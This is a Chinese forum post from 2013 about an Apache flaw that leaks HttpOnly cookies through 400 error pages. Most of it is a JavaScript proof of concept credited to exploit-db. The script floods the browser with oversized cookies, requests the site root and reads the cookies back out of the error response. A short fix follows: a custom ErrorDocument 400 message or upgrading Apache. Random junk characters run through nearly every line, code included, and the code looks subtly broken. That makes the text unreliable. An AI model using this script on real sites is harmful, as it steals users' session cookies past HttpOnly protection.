找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2646|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 y4 w: p1 ?0 [4 X4 B) h6 m! l: C# A7 i
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
! X1 i% }" K, Z2 R4 I+ Y+ @6 u
- Q  u& }. `" }6 E
) Q% ^8 X- E, N+ |// http://www.exploit-db.com/exploits/18442/
8 j; C- A- c, P6 S( o( Pfunction setCookies (good) {
0 M, q" @& f# {2 P8 n, g& Q// Construct string for cookie value
7 c# G: Y: d8 t. ~$ Tvar str = "";' D0 [+ A. l1 h0 i
for (var i=0; i< 819; i++) {
% A+ [7 |8 v$ sstr += "x";
$ ~( `! d; D# r* L& i% P- l" I}. B1 @/ ?' d" w, x  W( ?. L
// Set cookies
$ }* E$ h/ m+ lfor (i = 0; i < 10; i++) {9 L, e7 W& V# ~5 l& Z/ x* z
// Expire evil cookie- S: b) o! K, M5 c2 g, p& g
if (good) {
3 y! b3 d1 v* A( B+ \var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
5 Y) I- l0 g8 P. g) x$ z}
0 w  t& K" N0 R// Set evil cookie
! T5 Y. R. A+ W6 A5 L" belse {% L, |0 |; G7 ~! G8 Z: Z) e
var cookie = "xss"+i+"="+str+";path=/";1 J( ^1 w9 ?8 W7 T9 h
}' X' K. X3 A. `* P5 n9 y! Y5 n$ Z2 g
document.cookie = cookie;
# [2 g4 n% W# x}5 A# O; y$ i7 |& Z
}4 |# u& n: p" J  O" q& P  @4 `
function makeRequest() {& s& g4 O  U6 ~$ V( C$ v0 R
setCookies();
4 Q7 {% t2 ?1 V$ kfunction parseCookies () {- `: G& j! E, O7 I! L' h  C
var cookie_dict = {};
( a1 B$ u. c$ ]4 J6 S3 G3 {' F// Only react on 400 status5 C4 z& V6 S7 c
if (xhr.readyState === 4 && xhr.status === 400) {  Z2 N/ a( w; N+ o
// Replace newlines and match <pre> content
0 p6 F+ S# J, o+ W. C- fvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
+ F" w( a" b+ X" T" E8 rif (content.length) {
6 d0 L* \2 i( b* ^+ f4 b7 k% \) e" c// Remove Cookie: prefix
$ K* {% [2 K" C1 ycontent = content[1].replace("Cookie: ", "");
0 u7 C) o  v" N5 ~var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
2 Q0 n  h9 k% X- m8 Z// Add cookies to object
, c3 q0 V& s0 j! `& n6 i% cfor (var i=0; i<cookies.length; i++) {
. X5 j* a3 b* X; l3 b! T6 Yvar s_c = cookies.split('=',2);; t; Q7 O) I2 c8 P# X$ E
cookie_dict[s_c[0]] = s_c[1];2 f2 i) _. J: J$ S. z3 S
}% n  S4 j; r3 F  j3 ?8 @& u5 ]
}( c: ?2 {1 |$ K; o7 a- @& f7 A0 h
// Unset malicious cookies/ ^: x5 [0 ~5 m( F( S
setCookies(true);
4 T$ _. O5 L7 O0 j- Salert(JSON.stringify(cookie_dict));  e/ z' _) @; ~, b
}, r. _3 a" _# N! U
}, a  K! z3 i2 z- F
// Make XHR request
% T5 N; O- Z+ A1 |( {$ ivar xhr = new XMLHttpRequest();! X( H2 {2 E6 R
xhr.onreadystatechange = parseCookies;
# F* l: v/ z% G, ?  K6 `# _xhr.open("GET", "/", true);
) t! }, S. P$ }; hxhr.send(null);1 a0 D/ c" ?6 `$ D& b2 b' O
}) f6 J) S! q+ ]4 y! U. h% k
makeRequest();
/ P* J: F4 u8 W( u
# N* W: p+ T- x: f# N1 h" h/ z你就能看见华丽丽的400错误包含着cookie信息。
- f  ]# s3 E, j2 [. K7 l/ k: c1 b$ Z# n4 X2 J; O$ {5 r
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
% `4 b8 d' z6 E7 @$ ?* _, Z
) \6 Y) @* v3 A% m" a2 p* A+ y修复方案:
5 T# j9 i9 L  Y" f7 G) D. ]+ D6 L& i+ T6 {
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
% F9 Z: S4 V1 G3 M# n3 ^3 W+ v! {
In the event of a problem or error, Apachecan be configured to do one of four things,
& l' ^: r# u, d8 j* L/ R  A& a; z1 `* W- G4 b! [. [/ e& G
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- L* C! E( ^% X- U2 ]2. output acustomized message输出一段信息
% L9 s/ c% P2 B- K4 P5 b/ i3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
9 w. _6 k. j* K6 w! a4. redirect to an external URL to handle theproblem/error转向一个外部URL
( b0 v) X4 E* P+ W* @- p5 e/ C; }6 ^$ C& ^9 U: _
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
0 o8 q) T1 ?* F) m
5 U+ f# s8 X  n: b1 L- o+ |Apache配置:0 c  F. O" z* D# t) _7 J; n: U

* n* q& O6 D1 U; o/ SErrorDocument400 " security test": I/ Z: Z5 q# i6 w6 L9 a, l

$ N: N  [* o) \当然,升级apache到最新也可:)。; f* B6 s5 v3 @, ^

6 y9 D% o& u. H% ?& h$ |+ A参考:http://httpd.apache.org/security/vulnerabilities_22.html
+ O& U8 ^( u; ]8 i; _) n9 Z: D, \* k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表